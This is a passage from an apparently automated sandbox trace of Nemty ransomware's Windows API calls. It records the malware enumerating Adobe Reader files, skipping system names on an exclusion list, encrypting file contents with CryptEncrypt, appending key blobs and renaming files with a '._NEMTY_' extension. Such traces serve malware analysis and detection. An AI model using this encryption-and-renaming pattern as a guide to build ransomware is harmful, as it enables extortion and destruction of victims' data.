out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.687] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2c00, lpOverlapped=0x0) returned 1 [0176.687] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.687] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=11264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2c00 [0176.687] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.687] CloseHandle (hObject=0x2e8) returned 1 [0176.687] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0176.687] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.687] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.687] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.687] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.687] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.687] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0176.687] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0176.687] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0176.687] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.687] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\pddom.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\pddom.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\pddom.SUO._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\pddom.suo._nemty_kgobjgd_")) returned 1 [0176.688] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0176.688] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0176.688] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.688] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.688] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.688] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.688] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.688] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0176.688] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7d800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PPKLITE.SUO", cAlternateFileName="")) returned 1 [0176.688] lstrcmpiW (lpString1="PPKLITE.SUO", lpString2=".") returned 1 [0176.688] lstrcmpiW (lpString1="PPKLITE.SUO", lpString2="..") returned 1 [0176.688] lstrcmpiW (lpString1="PPKLITE.SUO", lpString2="...") returned 1 [0176.688] lstrcmpiW (lpString1="PPKLITE.SUO", lpString2="windows") returned -1 [0176.688] lstrcmpiW (lpString1="PPKLITE.SUO", lpString2="$RECYCLE.BIN") returned 1 [0176.688] lstrcmpiW (lpString1="PPKLITE.SUO", lpString2="rsa") returned -1 [0176.688] lstrcmpiW (lpString1="PPKLITE.SUO", lpString2="NTDETECT.COM") returned 1 [0176.688] lstrcmpiW (lpString1="PPKLITE.SUO", lpString2="ntldr") returned 1 [0176.688] lstrcmpiW (lpString1="PPKLITE.SUO", lpString2="MSDOS.SYS") returned 1 [0176.688] lstrcmpiW (lpString1="PPKLITE.SUO", lpString2="IO.SYS") returned 1 [0176.688] lstrcmpiW (lpString1="PPKLITE.SUO", lpString2="boot.ini") returned 1 [0176.688] lstrcmpiW (lpString1="PPKLITE.SUO", lpString2="boot.ini") returned 1 [0176.688] lstrcmpiW (lpString1="PPKLITE.SUO", lpString2="AUTOEXEC.BAT") returned 1 [0176.688] lstrcmpiW (lpString1="PPKLITE.SUO", lpString2="ntuser.dat") returned 1 [0176.688] lstrcmpiW (lpString1="PPKLITE.SUO", lpString2="desktop.ini") returned 1 [0176.688] lstrcmpiW (lpString1="PPKLITE.SUO", lpString2="CONFIG.SYS") returned 1 [0176.689] lstrcmpiW (lpString1="PPKLITE.SUO", lpString2="RECYCLER") returned -1 [0176.689] lstrcmpiW (lpString1="PPKLITE.SUO", lpString2="BOOTSECT.BAK") returned 1 [0176.689] lstrcmpiW (lpString1="PPKLITE.SUO", lpString2="bootmgr") returned 1 [0176.689] lstrcmpiW (lpString1="PPKLITE.SUO", lpString2="programdata") returned -1 [0176.689] lstrcmpiW (lpString1="PPKLITE.SUO", lpString2="appdata") returned 1 [0176.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.689] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.SUO", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.689] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.SUO", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.SUO", lpUsedDefaultChar=0x0) returned 11 [0176.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.689] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.SUO", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.689] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.SUO", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.SUO", lpUsedDefaultChar=0x0) returned 11 [0176.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.689] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.SUO", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.689] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.SUO", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.SUO", lpUsedDefaultChar=0x0) returned 11 [0176.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.689] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.SUO", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.689] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.SUO", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.SUO", lpUsedDefaultChar=0x0) returned 11 [0176.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0176.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0176.689] Sleep (dwMilliseconds=0x5) [0176.699] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cf7bb50, dwHighDateTime=0x1d561e8)) [0176.699] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cf7bb50, dwHighDateTime=0x1d561e8)) [0176.699] GetLastError () returned 0x0 [0176.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.699] GetLastError () returned 0x0 [0176.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.699] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.699] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.699] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0176.699] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="WlxgTY+cP+thspotptaQjcZhprDDPza+/zmQxh+/jVAA/BmWvKkooUafNzdtnxi9\r\niC6htaSfq/F4CbyG7V0n+UBxP5i5ffN2I0G6oRdKntyn5S9Uv9iP/UjCxp5Ls4bS\r\nH01BzKz6KH+9rD5rMZkAQ41imLhxww+lSF8ARdIZy8HoB1f01RmNS4QdwLEs1h0S\r\npFE5iWjpFv/01IMdceqaU+T9+NWdzjR9xbHpJkL+pGyPrjBuCAcOs4cKjwRxElqY\r\nCYYe5NQnDUk5jj3q9Rr+wmJueNaaTSCHf6z8aU7a8L1BojiVsyCb2wcH583ANVhK\r\n38Z2qmzXlI5Emth6AbfPJA==\r\n", pcchString=0x653e5dc) returned 1 [0176.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0176.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.700] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\PPKLITE.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\ppklite.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.700] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=514048) returned 1 [0176.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0176.700] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.700] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0176.709] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.709] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0176.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.709] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=514048, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d800 [0176.710] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.711] CloseHandle (hObject=0x2e8) returned 1 [0176.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0176.711] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.711] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0176.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0176.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0176.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.711] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\PPKLITE.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\ppklite.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\PPKLITE.SUO._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\ppklite.suo._nemty_kgobjgd_")) returned 1 [0176.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0176.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0176.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.712] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x144c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="RdLang32.SUO", cAlternateFileName="")) returned 1 [0176.712] lstrcmpiW (lpString1="RdLang32.SUO", lpString2=".") returned 1 [0176.712] lstrcmpiW (lpString1="RdLang32.SUO", lpString2="..") returned 1 [0176.712] lstrcmpiW (lpString1="RdLang32.SUO", lpString2="...") returned 1 [0176.712] lstrcmpiW (lpString1="RdLang32.SUO", lpString2="windows") returned -1 [0176.712] lstrcmpiW (lpString1="RdLang32.SUO", lpString2="$RECYCLE.BIN") returned 1 [0176.712] lstrcmpiW (lpString1="RdLang32.SUO", lpString2="rsa") returned -1 [0176.712] lstrcmpiW (lpString1="RdLang32.SUO", lpString2="NTDETECT.COM") returned 1 [0176.712] lstrcmpiW (lpString1="RdLang32.SUO", lpString2="ntldr") returned 1 [0176.712] lstrcmpiW (lpString1="RdLang32.SUO", lpString2="MSDOS.SYS") returned 1 [0176.712] lstrcmpiW (lpString1="RdLang32.SUO", lpString2="IO.SYS") returned 1 [0176.712] lstrcmpiW (lpString1="RdLang32.SUO", lpString2="boot.ini") returned 1 [0176.712] lstrcmpiW (lpString1="RdLang32.SUO", lpString2="boot.ini") returned 1 [0176.713] lstrcmpiW (lpString1="RdLang32.SUO", lpString2="AUTOEXEC.BAT") returned 1 [0176.713] lstrcmpiW (lpString1="RdLang32.SUO", lpString2="ntuser.dat") returned 1 [0176.713] lstrcmpiW (lpString1="RdLang32.SUO", lpString2="desktop.ini") returned 1 [0176.713] lstrcmpiW (lpString1="RdLang32.SUO", lpString2="CONFIG.SYS") returned 1 [0176.713] lstrcmpiW (lpString1="RdLang32.SUO", lpString2="RECYCLER") returned -1 [0176.713] lstrcmpiW (lpString1="RdLang32.SUO", lpString2="BOOTSECT.BAK") returned 1 [0176.713] lstrcmpiW (lpString1="RdLang32.SUO", lpString2="bootmgr") returned 1 [0176.713] lstrcmpiW (lpString1="RdLang32.SUO", lpString2="programdata") returned 1 [0176.713] lstrcmpiW (lpString1="RdLang32.SUO", lpString2="appdata") returned 1 [0176.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SUO", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SUO", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.SUO", lpUsedDefaultChar=0x0) returned 12 [0176.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SUO", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SUO", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.SUO", lpUsedDefaultChar=0x0) returned 12 [0176.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SUO", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SUO", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.SUO", lpUsedDefaultChar=0x0) returned 12 [0176.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SUO", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SUO", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.SUO", lpUsedDefaultChar=0x0) returned 12 [0176.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0176.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.713] Sleep (dwMilliseconds=0x5) [0176.714] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cfa1cb0, dwHighDateTime=0x1d561e8)) [0176.714] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cfa1cb0, dwHighDateTime=0x1d561e8)) [0176.715] GetLastError () returned 0x0 [0176.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.715] GetLastError () returned 0x0 [0176.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.715] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.715] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.715] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0176.715] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="+IHY1tChlMjPKjoYmHoYC4ChWZdTdWI6rxOzriP0P+i950bt+tsLqarCWtIUdJGx\r\nDESvemCvjEeOEQJA5Xs1gxWxmcgrMgc3bO4REJTiqkYP5f75MxUi74kypdZJMwW0\r\n0BnsAROcbnzr2yN2dM9A0d7SYf/2SYnDD7T8Th1pWGOckzzfpzlXiyrYFzP5Baok\r\noZLrMhXsVsGUO35DGO8dAxOOWk9hMNqOTt89P/GATZW+hyZh282qqEryOiYheM7L\r\nteM9fHfoVbt1bRuCX0iTKgink0CmyosXiKOf6LxyNGSKcZgXeXYEuNfIoU1+CCNb\r\ndZnrFtyUgVm0ggDG+muPvA==\r\n", pcchString=0x653e5dc) returned 1 [0176.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0176.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.715] 